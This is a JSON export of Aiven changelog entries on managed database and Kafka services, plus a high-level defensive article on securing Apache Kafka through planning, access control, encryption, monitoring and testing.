{"_createdAt":"2022-10-27T09:05:49Z","_i18n_lang":"en","_id":"f9c69ca7-716e-493f-9f06-93121828925a","_rev":"RS2LhK1JP0SKK0JvX1QWx1","_type":"changelog","_updatedAt":"2022-10-27T09:05:49Z","changeType":"","description":[{"_key":"0d3a4929-8c5a-4486-a347-90343ab292d9","_type":"block","children":[{"_key":"27491d9c-6919-4679-a688-1727e31b64e0","_type":"span","marks":[],"text":"Please see "},{"_key":"4dd068ae-cc18-4e18-9645-4973f7f9f431","_type":"span","marks":["m8989300617520"],"text":"the documentation"},{"_key":"678c6cdb-8e00-4c92-b2ad-f39f1d7ccf9e","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8989300617520","_type":"link","href":"https://docs.mongodb.com/kafka-connector/v1.3"}],"style":"normal"}],"publishedAt":"2020-10-23T00:00:00.000Z","tags":[{"_key":"eecaa5d0-94f7-4a78-b6ba-a8c1c5534e2b","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"MongoDB Kafka Sink and Source connectors have been updated to version 1.3.0"}
{"_createdAt":"2022-10-27T09:07:01Z","_i18n_lang":"en","_id":"f9df7fdd-780d-4077-b6dc-f780fa56f7e5","_rev":"zF7BMhNhvYpWtPMfHNNPag","_type":"changelog","_updatedAt":"2022-10-27T09:07:01Z","changeType":"","description":[{"_key":"51d4777d-89df-4c9d-8c78-e57420573022","_type":"block","children":[{"_key":"5ed8ec22-2944-425c-9188-872ff2263b2a","_type":"span","marks":[],"text":"Please see the "},{"_key":"1364944c-0376-491a-bb33-0b4253091513","_type":"span","marks":["m8986549540160"],"text":"Release Notes"},{"_key":"d17650d2-20db-499a-83f7-ee5e945623d5","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m8986549540160","_type":"link","href":"https://dev.mysql.com/doc/relnotes/mysql/8.0/en/news-8-0-19.html"}],"style":"normal"}],"publishedAt":"2020-03-04T00:00:00.000Z","tags":[{"_key":"d675afca-702b-4635-aa29-d7f424837bce","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"MySQL server version 8.0.19 now available"}
{"_createdAt":"2022-10-27T09:11:35Z","_i18n_lang":"en","_id":"faac3b90-38da-4044-a119-8999b3803612","_rev":"zF7BMhNhvYpWtPMfHNO7te","_type":"changelog","_updatedAt":"2022-10-27T09:11:35Z","changeType":"","description":[{"_key":"87b14387-68ed-455a-8977-3977b7743d4e","_type":"block","children":[{"_key":"83322ccb-e0e5-4f8f-b533-b07abcfaf479","_type":"span","marks":[],"text":"Username and topic both accept a glob with "},{"_key":"a5ef0576-de8d-4040-95a6-2013c5e947ad","_type":"span","marks":["code"],"text":"*"},{"_key":"b3a1c414-31f2-45e4-b43a-c37c05f6fe48","_type":"span","marks":[],"text":" and "},{"_key":"ce2bc996-1b3b-4cad-8965-e78c3cc03dee","_type":"span","marks":["code"],"text":"?"},{"_key":"4a3907dc-2579-4764-ab64-d16bd1cd0eea","_type":"span","marks":[],"text":" wildcards. Permission granted can be one of "},{"_key":"2a220732-87f4-4905-bfa9-1807038ed0e8","_type":"span","marks":["code"],"text":"read"},{"_key":"51b2102c-c6eb-4628-9b4f-9d41e8d4552b","_type":"span","marks":[],"text":", "},{"_key":"0be39433-a0e2-4799-bf7e-a923617ca029","_type":"span","marks":["code"],"text":"write"},{"_key":"060b6e9f-53b9-452a-abed-2734436b4b23","_type":"span","marks":[],"text":" or "},{"_key":"d308e7ef-0418-450b-93bc-e71f61c345bb","_type":"span","marks":["code"],"text":"readwrite"},{"_key":"293d5b60-d3f2-433c-8c4f-8c3700cbc67c","_type":"span","marks":[],"text":". By default, we allow "},{"_key":"614eadaf-6e2a-419a-8468-e57725cc6eea","_type":"span","marks":["code"],"text":"readwrite"},{"_key":"adfc21d3-434a-476f-a0db-3f320f7383ff","_type":"span","marks":[],"text":" to all topics for all users. Please refer to our "},{"_key":"5697f541-2947-48ba-8064-a6d0e3d1585f","_type":"span","marks":["m1102427193202"],"text":"help article"},{"_key":"7b1fb202-1b92-4307-a180-2409e638e367","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m1102427193202","_type":"link","href":"https://help.aiven.io/kafka/kafka-users-and-access-control"}],"style":"normal"}],"publishedAt":"2017-07-15T00:00:00.000Z","tags":[{"_key":"f22ac1aa-c3e0-4a09-a22c-cab60610158b","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka user and topic Access Control List (ACL) support now available"}
{"_createdAt":"2022-10-27T09:04:10Z","_i18n_lang":"en","_id":"fbea6734-0382-43a5-933d-cda283a9bf43","_rev":"jxjwnOsJAgDXPDj4qmcE4Q","_type":"changelog","_updatedAt":"2022-10-27T09:04:10Z","changeType":"","description":[{"_key":"bba2ecfb-461d-465b-81e0-a202ce1bcc30","_type":"block","children":[{"_key":"83d28143-1d27-48d2-962c-d7d4c019ef52","_type":"span","marks":[],"text":"Fix Redis ACL parsing issue causing Redis users with default ACLs to disappear."}],"markDefs":[],"style":"normal"}],"publishedAt":"2021-06-04T00:00:00.000Z","tags":[{"_key":"96f75816-bcf9-400d-a364-ac3762a5406e","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Add support for Redis channels ACL customization"}
{"_createdAt":"2022-10-27T09:11:56Z","_i18n_lang":"en","_id":"fc47130b-cf59-4d63-b3d2-c976c7be8a1a","_rev":"zF7BMhNhvYpWtPMfHNOLAA","_type":"changelog","_updatedAt":"2022-10-27T09:11:56Z","changeType":"","description":[{"_key":"face1b43-c8d0-4674-b105-e56d59346b01","_type":"block","children":[{"_key":"393ab30a-7e6d-4ccd-b479-454d6cefadde","_type":"span","marks":[],"text":"The connector allows you to insert automatically all the data in a Kafka topic to an Elasticsearch service."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-04-20T00:00:00.000Z","tags":[{"_key":"725859fd-5007-4aa9-af6e-a673bcf3f9dd","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Add support for Elasticsearch Kafka Connect connector"}
{"_createdAt":"2022-10-27T09:07:45Z","_i18n_lang":"en","_id":"fc6a3414-6c7e-45d3-82cb-290482415756","_rev":"C4pC7IakZ1PpJ4LWR2B5u7","_type":"changelog","_updatedAt":"2022-10-27T09:07:45Z","changeType":"","publishedAt":"2019-10-17T00:00:00.000Z","tags":[{"_key":"6d6c3a15-9bab-4300-85ec-883eb57f7d14","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL now has the tsm_system_rows extension available."}
{"_createdAt":"2022-10-27T09:11:51Z","_i18n_lang":"en","_id":"fcae0668-86bb-477a-bab9-69979db0a607","_rev":"HEiYk6nGjmUICadcDbTqFD","_type":"changelog","_updatedAt":"2022-10-27T09:11:51Z","changeType":"","description":[{"_key":"8fd1ec7e-bce1-41f2-8be8-87315f7e94b0","_type":"block","children":[{"_key":"74f3c2e8-b788-4b23-b63c-98f39d49b33c","_type":"span","marks":[],"text":"The avnadmin user can now CREATE ROLEs directly without using the web "},{"_key":"285537e6-5212-482f-9d4f-fab733c018de","_type":"span","marks":["m12080747937918"],"text":"console."}],"markDefs":[{"_key":"m12080747937918","_type":"link","href":"https://console.aiven.io"}],"style":"normal"}],"publishedAt":"2017-05-08T00:00:00.000Z","tags":[{"_key":"866122ba-62a3-4802-ad76-02001694166b","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Added create role permissions for avnadmin user"}
{"_createdAt":"2022-10-27T09:11:50Z","_i18n_lang":"en","_id":"fe33d1d5-c98b-4be4-99e8-1e8a1cc7bc14","_rev":"7JYD5XroFCjaK9NJzk43ae","_type":"changelog","_updatedAt":"2022-10-27T09:11:50Z","changeType":"","description":[{"_key":"8f036237-55d0-4b2a-bca5-1cd846912642","_type":"block","children":[{"_key":"65d8ae42-0a57-420d-8f9c-1551979e830f","_type":"span","marks":[],"text":"To turn the feature on for your Aiven for Redis service please send a request to: "},{"_key":"0d8fa966-e851-4172-b190-61667a3822db","_type":"span","marks":["m14646681439089"],"text":"support@aiven.io"}],"markDefs":[{"_key":"m14646681439089","_type":"link","href":"mailto:support@aiven.io"}],"style":"normal"}],"publishedAt":"2017-05-09T00:00:00.000Z","tags":[{"_key":"0e5548fd-16c1-4259-8455-3081d68b2a22","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Can now allow \u003ca href=\"https://redis.io/commands/eval\" rel=\"nofollow noopener noreferrer\"\u003eEVAL\u003c/a\u003e and \u003ca href=\"https://redis.io/commands/evalsha\" rel=\"nofollow noopener noreferrer\"\u003eEVALSHA\u003c/a\u003e feature use based on request"}
{"_createdAt":"2022-10-27T09:08:17Z","_i18n_lang":"en","_id":"fe4a923f-5502-4beb-9ae6-f4bcf30841ab","_rev":"zF7BMhNhvYpWtPMfHNNcjK","_type":"changelog","_updatedAt":"2022-10-27T09:08:17Z","changeType":"","description":[{"_key":"250ae425-4c29-4358-bd04-98022371a193","_type":"block","children":[{"_key":"092fa578-b388-49cb-80fa-f56cd07f8f43","_type":"span","marks":[],"text":"See "},{"_key":"68844e77-8f0c-4a67-bcb0-97f599793653","_type":"span","marks":["m2288653232364"],"text":"release notes"},{"_key":"b99002c8-afdf-4fb5-b9ba-afffe48e2e11","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m2288653232364","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2019-06-20T00:00:00.000Z","tags":[{"_key":"a7dbc9a0-01a8-4e39-ae7f-a180f68adb14","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 11.4, 10.9, 9.6.14 and 9.5.18"}
{"_createdAt":"2022-10-27T09:09:51Z","_i18n_lang":"en","_id":"ff293a72-eefa-4121-b524-b9ae6846c87f","_rev":"zF7BMhNhvYpWtPMfHNNraE","_type":"changelog","_updatedAt":"2022-10-27T09:09:51Z","changeType":"","description":[{"_key":"4e28cea5-5560-40b2-8e7d-0f7e92f918fa","_type":"block","children":[{"_key":"a6a35f84-2bbe-483d-8f50-17680c34edce","_type":"span","marks":[],"text":"Please refer to the "},{"_key":"9d44a825-6cbe-4404-a434-f66099297283","_type":"span","marks":["m1816104443813"],"text":"changelog"},{"_key":"22917a15-c076-495a-ac76-a2a8b85ca11a","_type":"span","marks":[],"text":" for what's new."}],"markDefs":[{"_key":"m1816104443813","_type":"link","href":"https://github.com/grafana/grafana/blob/master/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2018-08-13T00:00:00.000Z","tags":[{"_key":"e54b3315-d935-44d8-a012-0f8d92447927","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Grafana updated to 5.2.2"}
{"_createdAt":"2022-10-27T09:02:36Z","_i18n_lang":"en","_id":"ff6060d5-816f-45e7-a863-38340889bb65","_rev":"RS2LhK1JP0SKK0JvX1Pb31","_type":"changelog","_updatedAt":"2022-10-27T09:02:36Z","changeType":"","description":[{"_key":"6c28f886-6dba-4ae3-bfd2-d2a625bdaf53","_type":"block","children":[{"_key":"54cd3a7e-7ade-43ca-a4e9-3af59120c170","_type":"span","marks":[],"text":"Please see the "},{"_key":"72d44b59-2171-4bf8-a2ce-bf5790e04f0f","_type":"span","marks":["m5028298455574"],"text":"Changelog"},{"_key":"4cb38533-436f-4f8e-b7e8-50dfe66e9b91","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m5028298455574","_type":"link","href":"https://github.com/opensearch-project/opensearch-build/blob/main/release-notes/opensearch-release-notes-1.3.2.md"}],"style":"normal"}],"publishedAt":"2022-05-19T00:00:00.000Z","tags":[{"_key":"142313b4-a89e-4ed5-b89e-9c48ec4b83b4","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"Updated OpenSearch to version 1.3.2"}
{"_createdAt":"2022-10-27T09:06:42Z","_i18n_lang":"en","_id":"ffa2debd-58a4-4e11-baad-8cd76a670fa9","_rev":"ri8ZjU8zRgh6Niwltv1BoP","_type":"changelog","_updatedAt":"2022-10-27T09:06:42Z","changeType":"","description":[{"_key":"5c9de3e8-4c91-4a32-b3a9-76f139a70495","_type":"block","children":[{"_key":"4b9b2ce1-7fe8-414c-911d-fe83d0ddbdc8","_type":"span","marks":[],"text":"The extension pg_partman is also updated to version 4.3.0 and is now available on PG11 and 12. See "},{"_key":"0919c6c5-625c-4476-ac2e-267e92417a7f","_type":"span","marks":["m2288653232364"],"text":"release notes"},{"_key":"7b5b491d-bf4a-4b2f-a3dd-ff0897b84d69","_type":"span","marks":[],"text":" for more details about the PostgreSQL minor releases."}],"markDefs":[{"_key":"m2288653232364","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2020-05-18T00:00:00.000Z","tags":[{"_key":"9efbe2dd-ce0c-43ef-9002-356bc9208974","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 12.3, 11.8, 10.13, 9.6.18 and 9.5.22"}
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{"__i18n_lang":"en","_createdAt":"2024-08-13T10:02:49Z","_id":"47379bc7-4573-43ef-af56-cc1da11bb12b","_rev":"YWHkZRhDz94HWGkESlnVpM","_type":"changelog","_updatedAt":"2024-09-19T10:34:05Z","changeType":"new","description":[{"_key":"d2a52abc10b6","_type":"block","children":[{"_key":"07c4e8a78d660","_type":"span","marks":["acfd2a27bdbd"],"text":"Tiered storage in Aiven for ClickHouse®"},{"_key":"177911fa81aa","_type":"span","marks":[],"text":" is now ready for production use. This feature allows organizing and storing data in two tiers. The data is automatically moved to an appropriate tier based on your database's local disk usage. By enabling and properly configuring tiered storage, you can use storage resources efficiently and, therefore, significantly reduce storage costs of your Aiven for ClickHouse service."}],"markDefs":[{"_key":"acfd2a27bdbd","_type":"link","href":"https://aiven.io/docs/products/clickhouse/concepts/clickhouse-tiered-storage"}],"style":"normal"},{"_key":"0a2bc2593daa","_type":"block","children":[{"_key":"852d61102339","_type":"span","marks":[],"text":"Aiven for ClickHouse tiered storage is supported on the following cloud platforms: Microsoft Azure, AWS, Google Cloud."}],"markDefs":[],"style":"normal"},{"_key":"5dabf26be454","_type":"block","children":[{"_key":"af2df5babe740","_type":"span","marks":[],"text":"Learn how to enable and configure Aiven for ClickHouse® tiered storage in "},{"_key":"af2df5babe741","_type":"span","marks":["23d591140b18"],"text":"our documentation"},{"_key":"af2df5babe742","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"23d591140b18","_type":"link","href":"https://aiven.io/docs/products/clickhouse/howto/list-tiered-storage"}],"style":"normal"}],"publishedAt":"2024-09-19T09:54:00.000Z","tags":[{"_key":"67ecd9dc1bb4","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"service"}],"title":"Tiered storage in Aiven for ClickHouse®"}
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{"__i18n_lang":"en","_createdAt":"2024-09-26T11:04:50Z","_id":"312b9265-2409-4dbd-a750-79f0ae67d5b5","_rev":"YPzePRnofxqIDzAJMEA2Wm","_type":"changelog","_updatedAt":"2024-09-26T11:04:50Z","changeType":"new","description":[{"_key":"26eb3d3fb23f","_type":"block","children":[{"_key":"5cc7f2c9ff01","_type":"span","marks":[],"text":"The "},{"_key":"199a58bcba08","_type":"span","marks":["code"],"text":"aiven_valkey"},{"_key":"c922ed40f76a","_type":"span","marks":[],"text":" and "},{"_key":"ed6a03f108d4","_type":"span","marks":["code"],"text":"aiven_valkey_user"},{"_key":"8ad9a7bc60ec","_type":"span","marks":[],"text":" resources moved from beta to general availability."}],"markDefs":[],"style":"normal"},{"_key":"928f768e5d90","_type":"block","children":[{"_key":"0999648a38f00","_type":"span","marks":[],"text":"For more information on Aiven Provider for Terraform, check out the "},{"_key":"0999648a38f01","_type":"span","marks":["1c47d16743c8"],"text":"documentation"},{"_key":"0999648a38f02","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"1c47d16743c8","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs"}],"style":"normal"},{"_key":"f147dc263ad0","_type":"block","children":[{"_key":"2dd62638da8d0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-09-26T11:04:00.000Z","tags":[{"_key":"a0acc62fd590","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"Valkey is now generally available for Terraform"}
{"__i18n_lang":"en","_createdAt":"2024-10-02T11:21:24Z","_id":"a379a079-4e10-4dc0-a022-385fafc0529a","_rev":"aUZ7RLz26hS2cUekFwxOxz","_type":"changelog","_updatedAt":"2024-10-02T11:21:24Z","changeType":"improved","description":[{"_key":"3cbf005f41cb","_type":"block","children":[{"_key":"654d0feb053c0","_type":"span","marks":[],"text":"A new minor version of the Aiven CLI has been released to support the following:"}],"markDefs":[],"style":"normal"},{"_key":"d7115582876e","_type":"block","children":[{"_key":"8d471e82ec8c0","_type":"span","marks":[],"text":"Aiven for AlloyDB Omni"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f1f1b087554e","_type":"block","children":[{"_key":"da90124858810","_type":"span","marks":[],"text":"Aiven for Valkey ACL commands"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"facc1f41cc09","_type":"block","children":[{"_key":"941be9b5c741","_type":"span","marks":[],"text":"For more information, see "},{"_key":"aeb5390fae51","_type":"span","marks":["3977cbf7634a"],"text":"Aiven CLI release notes"},{"_key":"3eeb45134f8e","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"3977cbf7634a","_type":"link","href":"https://github.com/aiven/aiven-client/releases/tag/4.3.0"}],"style":"normal"}],"publishedAt":"2024-10-02T11:21:00.000Z","tags":[{"_key":"6980b5cf8659","_ref":"3362a069-f95e-4230-b990-be0b003bc779","_type":"tool"}],"title":"Aiven CLI version 4.3.0 now available"}
{"__i18n_lang":"en","_createdAt":"2024-10-07T13:40:19Z","_id":"28fefcd7-1232-41f1-bf0c-6508d690d04a","_rev":"exgZYl4YMpSEzTrzwgH3KC","_type":"changelog","_updatedAt":"2024-10-08T10:50:30Z","changeType":"improved","description":[{"_key":"ebdcfc1f54b5","_type":"block","children":[{"_key":"951dbb1ce46d0","_type":"span","marks":[],"text":"Private Service Connect (PSC) is now supported as an "},{"_key":"951dbb1ce46d1","_type":"span","marks":["9a26bf799c36"],"text":"early availability feature"},{"_key":"951dbb1ce46d2","_type":"span","marks":[],"text":" for non-"},{"_key":"951dbb1ce46d3","_type":"span","marks":["977b404911fd"],"text":"BYOC"},{"_key":"951dbb1ce46d4","_type":"span","marks":[],"text":" Aiven-managed services. It’s recommended for use in non-production environments. Feedback on your PSC experience with Aiven is welcome."}],"markDefs":[{"_key":"9a26bf799c36","_type":"link","href":"https://aiven.io/docs/platform/concepts/beta_services#early-availability-"},{"_key":"977b404911fd","_type":"link","href":"https://aiven.io/docs/platform/concepts/byoc"}],"style":"normal"},{"_key":"b436ad423940","_type":"block","children":[{"_key":"fa28c35caecf0","_type":"span","marks":[],"text":"To learn more about using PSC with Aiven-managed services, see "},{"_key":"fa28c35caecf1","_type":"span","marks":["12eb01d6a145"],"text":"the documentation"},{"_key":"fa28c35caecf2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"12eb01d6a145","_type":"link","href":"https://aiven.io/docs/platform/howto/use-google-private-service-connect"}],"style":"normal"}],"publishedAt":"2024-10-01T10:30:00.000Z","tags":[{"_key":"4f22b2c70304","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Google Cloud Private Service Connect in early availability"}
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{"__i18n_lang":"en","_createdAt":"2024-08-19T17:34:03Z","_id":"ac0c18ad-da1e-410a-952a-ee3bac00d7af","_rev":"8LlKqJjbNRckfBQsLRLj2p","_type":"devArticle","_updatedAt":"2024-08-19T17:34:03Z","body":"You’ve likely placed Apache Kafka® in the center of your company's data universe. Understandably, it solves the need for data services across the company, including how easily it can integrate with other tools, thanks to Apache Kafka® Connect. But what happens when there are data integrity issues when users have access to much more than they should, and most importantly, when you are under attack?\n\nTo defend against attack, explore best practices for planning your data flow and designing your Kafka infrastructure to prevent possible security issues. But fear not if you, like many, already have Kafka set up. We’ll also discuss ways to execute, monitor, and test your existing Kafka deployments so that you can improve security, too!\n\n## Planning \u0026 Designing\n\nKafka is often woven throughout your data infrastructure, touching applications, microservices, monitoring, and real-time analytics. With such a broad reach, how you plan to implement the technology and defend your data infrastructure from the start sets you up for success in the long run.  Planning well before integrating Kafka into any system allows you to evaluate the security features of the Kafka version being used, understand how it will be integrated with other systems, and define a responsibility matrix to clarify who has access to what within Kafka. \n\nHowever, if poorly designed, you might have other issues with Kafka, such as data integrity issues such as improper schema management, lack of proper data retention policies, operational issues, poor monitoring and logging practices, reduced availability and reliability, and security vulnerabilities.\n\nFrom the beginning, make sure you use the latest Kafka version—at the time of writing, that’s version 3.7.0. If you are not on 3.7, consider upgrading and checking the [Apache Kafka Security Vulnerabilities ](https://kafka.apache.org/cve-list) page from the Apache Software Organization to make sure you are not affected by any of those vulnerabilities.\n\nPut effort into defining what good data, sound data patterns, and good data pipelines look like. Vital questions to ask yourself and the stakeholders setting this up include: \n- How will your pipeline ingest the data? Consider whether you need real-time streams or batch processing. The way your pipeline will ingest the data will affect the security and tools needed. \n- How will your pipeline process and deliver the data? Determine whether your pipeline requires event processing, transformations, or data enrichment. Consider how you will ensure the data is delivered accurately and on time to the necessary endpoints. \n- What does the data look like? The shape of your data impacts the implementation of Kafka and the tools you use. Analyze the data schema, format, and any potential changes over time. \n\nTo learn more about determining the shape of your data, read [Navigating the Data Maze: 5 Essential Questions to Guide Your Tool Selection](https://aiven.io/blog/data-tool-selection).\n\nEstimating the attacker's intent is an often overlooked mindset when planning. \nAre you trying to map your data infrastructure? \nFind openings in your infrastructure.\nFind ways to connect to the user in one or two ways.\nFind patterns in your infrastructure that allow you to reboot the system and lose functionality. \n\nGood data, data patterns, and data pipelines require cross-departmental effort. You should always involve and include all possible stakeholders in your plan definition. \n\nWhen defining a responsibility matrix to clarify who has access to what within Kafka, consider role-based access control (RBAC) and access control lists (ACLs). Knowing who has what access allows you to understand where attacks are coming from. \n\nKafka accepts many kinds of data into its topics. Using Kafka schemas to define expectations about the shape of the data that should be passed allows you to monitor the data moving through it more effectively. For example, if you only want records with a name, an ID, a value, and a string integer. Creating expectations lets you monitor and investigate when anomalies occur. \n\nPlanning includes executing code as infrastructure, encrypting data, trying to isolate workloads, and providing strict access control. Instead of relying on defaults, customize the settings for your organization's needs. For example, add more users to distinguish the different functionality you're implementing. Then, both the infrastructure and the data that is being passed through must be monitored.\n\nYou must also consider the different systems Kafka integrates with and how to secure those connections. Some items to consider would be Connector Plugins, Source Connectors, Sink Connectors, Configuration, Distributed Architecture, and/or a REST API. \n\nFinally, test everything. Test the plans, the execution, and the monitoring. You should test continuously, ensuring everything is ready when something happens. Testing frameworks you could use are [Testing Kafka Streams](https://https://kafka.apache.org/21/documentation/streams/developer-guide/testing.html), [Testcontainers for Kafka](https://github.com/testcontainers), and [Embedded Kafka](https://github.com/manub/scalatest-embedded-kafka).\n\nPlanning your Kafka implementation beforehand is not always feasible. By taking the steps mentioned above, you can still analyze what changes you can make to prevent attacks.  \n\n## Monitoring\nThe infrastructure and data passing through Kafka must be monitored to detect anomalies and ensure only expected, secure data patterns are allowed. This involves defining and monitoring standard data patterns to detect deviations that might indicate an attack, unauthorized access, or general misuse. \nWhen you are monitoring infrastructure, consider monitoring Kafka brokers and Kafka nodes. There are other questions to ask, such as:\n- Network data considerations: \n\t- What data is passing through the network? \n\t- What are the IP addresses of the nodes in the Kafka cluster?\n\t- Are new Kafka brokers or nodes being added to the cluster and starting to communicate with existing nodes?\n- Access Control Lists (ACLs):\n\t- What are the access control lists (ACLs) in place for your Kafka topics and resources?\n\t- Are you rotating your credentials frequently enough to ensure security?\n\nWhen monitoring your data, you shouldn’t only monitor the shape of the data but also your messages themselves. For example, you may want to monitor the size of the messages. All the messages passing through a Kafka topic are usually around the same size. Additionally, the volume and frequency of messages are approximately the same from day one to day two. When you start receiving messages that are three times the size, for example, you should be alerted and look into the cause of the change. \n\nQuestions to ask about the message changes: \n- What are the schemas of the new messages? \n- Do they follow the rules you set before, or are we receiving messages with different schemas? \n- Are you receiving messages with a dramatically different character count? Were you expecting a change in our message size, frequency, or volume, such as switching the originating system sending those messages? \n- What is the throughput? \n\nYou can set expectations for how your messages are usually distributed. By adjusting and validating these expectations, you can determine if you’re observing normal behavior or something unusual. Once these expectations are defined, you need to test them, including verifying that your infrastructure as code works, ensuring you and your team can recreate the same infrastructure elsewhere, and measuring how long it takes.\n\nA few ways to monitor your Kafka are: \n- Classic Kafka: used for Application Performance Management (APM) to trace requests to and from Kafka clients automatically. \n- [Karapace](https://aiven.io/docs/products/kafka/karapace): used for schema management using schema registries, users, manual activities, lead time, security, and releases. \n\t- Schema registries allow you to measure global, request, and response metrics in one centralized location to define the structure of your data.\n- [Grafana](https://aiven.io/grafana): used for visualizations of key metrics that are being monitored.\n- [Klaw](https://aiven.io/docs/products/kafka/howto/kafka-klaw): used for data consistency, reliability, and secure access, aligning with organizational policies\n- [Aiven Platform List Monitoring](https://aiven.io/docs/platform/howto/list-monitoring): To monitor metrics, logs, and alerts in Aiven\n\n## Securing\nYou can implement basic security practices such as using infrastructure as code for reproducibility and auditability, encrypting data both in transit and at rest, isolating workloads to minimize the attack surface, applying strict access control, and using schemas to enforce data integrity to defend your Kafka instance.\n\nAn attacker could check the present data if you don't secure Kafka’s buffers and queues. Just by doing that, an attacker can gain information. An attacker can take this information without having direct access to any endpoint in your ecosystem. With only sniffing the network, an attacker can create service disruption, steal data, and possibly steal credentials enough to do damage.\n\nEncrypt data both in transit and at rest to protect sensitive information from being intercepted or accessed by unauthorized parties. **Encrypt everything that you can**. To isolate Kafka’s internal network from the external network, ensure that your producers and consumers only communicate with their associated Kafka brokers. This prevents data leakage and limits unnecessary exposure. Additionally, try isolating the network segments for each component, as Kafka’s notification system doesn’t need to interact directly with the database. By isolating these communication pathways, you can apply stricter controls to the data flow and enhance access control.\n\nNext, always always divide read patterns from write patterns. If a service only needs to read from a topic, you should define a user and an ACL that only allows them to read from that topic. Follow the principle of least privilege and only grant access where it’s needed.  \n\nFinally, always use schemas. You can pass almost any data to Kafka, but schemas let you define expectations about the shape of the data. For example, you can define a schema that defines a specific kind of record and flag any anomalies. As with monitoring, [Karapace](https://aiven.io/developer/apache-kafka-karapace) is a great way to use schema registries, which allow you to measure global request and response metrics in one centralized location to define the structure of your data. \n\n## Testing\nNow that we’ve discussed planning, monitoring, and security hygiene, **test everything**—from the plans to the execution and monitoring. You should continuously test everything to be ready when something happens.\n\nTesting supports the plans we mentioned in the first section, and planning and designing assist in finding ways to prevent questions like whether you can afford to shut down a certain piece of functionality for a couple of hours. The ability to stop a service is not only driven by who is attacking what functionality. It is also driven by how much money the company might lose if you stop this functionality temporarily.\n\nYou should test the entire data pipeline. Your contingency plans, the responsibility matrix, and the monitoring discussed previously all need to be tested. You will probably never be ready for all the possible edge cases but you can be ready as possible.\n\nChanging the distribution of your data, such as using read replicas or distributing data across different clouds and continents, helps set and validate expectations for normal behavior. Once you define all these concepts, it's time to test them. Testing goes from checking that your infrastructure as code works to checking that you can recreate the same infrastructure on another cloud provider and how much time that takes.\n\nWe also need to review what goes into the details of checking that we can see or find the anomalies we define or get alerts if some new anomaly pops up. However, testing also goes from the person clicking a button to the company's CEO. You should also test a case where you go to the CEO and say, ok, we're under attack. \n\nA few tools for testing  Kafka are:\n- Kafka Console Producer and Consumer: These built-in tools allow you to produce and consume messages from Kafka topics, making it easy to test the message flow.\n- [Apache Kafka® MirrorMaker 2](https://aiven.io/docs/products/kafka/kafka-mirrormaker): This tool tests replication and disaster recovery setups.\n- [Schema Registry](https://aiven.io/docs/products/kafka/howto/list-topic-management): This tool ensures your data schemas are correctly managed and validated.\n- [Grafana](https://aiven.io/docs/products/grafana):  This tool monitors Kafka metrics and sets up alerts.\n\n## Closing\nIf this seems overwhelming, some vendors can help you out, including Aiven. Acknowledge the security challenges and vulnerabilities associated with Apache Kafka, such as DDoS attacks, unauthorized access, and data integrity issues. You can mitigate these problems by planning, executing security hygiene practices, monitoring infrastructure and data services, and continuous testing. Using tools and vendors like Aiven to manage Kafka security and infrastructure is important. \n\nWith Aiven, we offer ways to take much effort off your shoulders. Aiven’s excellent security team secures Kafka and ten other services in the open source space for several companies, such as [Back Market](https://aiven.io/case-studies/back-market-uses-aiven-to-enable-seamless-migration-across-clouds), [La Redoute](https://aiven.io/case-studies/la-redoute-takes-control-of-cloud-costs-with-byoc), and [Doccla](https://aiven.io/blog/data-for-good), which are available to everybody on top of any cloud. ","feature":{"_type":"featuredItem","active":false,"endDate":"2024-08-26T17:31:44.337Z"},"publishedAt":"2024-08-19T17:31:13.788Z","slug":{"_type":"slug","current":"/developer/defending-apache-kafka"},"subtitle":"Secure Your Apache Kafka Infrastructure: Best Practices for Planning, Monitoring, and Testing to Protect Against Security Threats and Data Integrity Issues.","tags":[{"_key":"78733591c5a8","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"}],"title":"Defending Apache Kafka"}
